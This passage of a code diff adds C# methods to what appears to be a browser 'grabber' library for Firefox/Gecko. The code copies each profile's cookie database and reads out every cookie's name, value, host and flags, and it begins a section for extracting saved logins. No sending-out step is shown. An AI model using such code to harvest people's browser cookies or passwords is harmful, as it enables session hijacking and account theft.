+ LastAccessed = UnixTimeInMicrosecondsToDate(reader.GetInt64(7)),
+ CreationTime = UnixTimeInMicrosecondsToDate(reader.GetInt64(8)),
+ IsSecure = reader.GetBoolean(9),
+ IsHttpOnly = reader.GetBoolean(10),
+ InBrowserElement = reader.GetBoolean(11),
+ SameSite = reader.GetInt16(12),
+ RawSameSite = reader.GetInt16(13),
+ SchemeMap = reader.GetInt16(14),
+ });
+ }
+ }
+ conn.Dispose();
+ }
+ File.Delete(tempFile);
+ }
+ return cookies;
+ }
+
+ public IEnumerable GetCookies()
+ {
+ List cookies = new List();
+ foreach (string profile in Profiles)
+ {
+ if (!CookiesExist(profile)) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookieCommandText}"); // throw a Exception if the Cookie DB was not found
+
+ // Copy the database to a temporary location because it could be already in use
+ string tempFile = CopyToTempFile(profile + CookiesPath);
+
+ using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
+ using (var cmd = conn.CreateCommand())
+ {
+ cmd.CommandText = CookieCommandText;
+
+ conn.Open();
+ using (var reader = cmd.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ cookies.Add(new Gecko.Cookie()
+ {
+ Id = reader.GetInt32(0),
+ OriginAttributes = reader.GetString(1),
+ Name = reader.GetString(2),
+ Value = reader.GetString(3),
+ Host = reader.GetString(4),
+ Path = reader.GetString(5),
+ Expiry = UnixTimeInSecondsToDate(reader.GetInt64(6) * 1000),
+ LastAccessed = UnixTimeInMicrosecondsToDate(reader.GetInt64(7)),
+ CreationTime = UnixTimeInMicrosecondsToDate(reader.GetInt64(8)),
+ IsSecure = reader.GetBoolean(9),
+ IsHttpOnly = reader.GetBoolean(10),
+ InBrowserElement = reader.GetBoolean(11),
+ SameSite = reader.GetInt16(12),
+ RawSameSite = reader.GetInt16(13),
+ SchemeMap = reader.GetInt16(14),
+ });
+ }
+ }
+ conn.Dispose();
+ }
+ File.Delete(tempFile);
+ }
+ return cookies;
+ }
+ #endregion
+
+ #region GetLogins()
+ ///
+ /// Converts the as parameter passed dynamic object to a list of Logins
+ ///
+ /// dynamic json object
+ /// A list of Gecko Logins
+ private static List ConvertDynamicObjectsToLogins(List